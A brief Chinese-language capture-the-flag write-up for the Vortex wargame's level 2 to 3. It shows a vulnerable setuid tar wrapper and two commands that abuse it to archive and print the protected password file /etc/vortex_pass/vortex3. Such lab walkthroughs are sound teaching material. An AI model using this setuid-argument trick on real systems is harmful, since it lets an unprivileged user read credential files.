Level 2 -> Level 3
本级比较简单,是通过tar指令,强制改变文件的所有者,然后再利用tar指令打出文件的内容。
给出的程序代码如下:
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
int main(int argc, char **argv)
{
char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
execv(args[0], args);
}
对应的程序权限和上一级类似。
两步即可打出下一关的密码。
./vortex2 --owner=vortex2 /etc/vortex_pass/vortex3
tar -xf /tmp/ownership.\$\$.tar -O
–owner是强制修改加入的文件的所有者。-O是将解压出的文件输出到标准输出流。
大约是启示可以利用tar的这一特点做出一些攻击。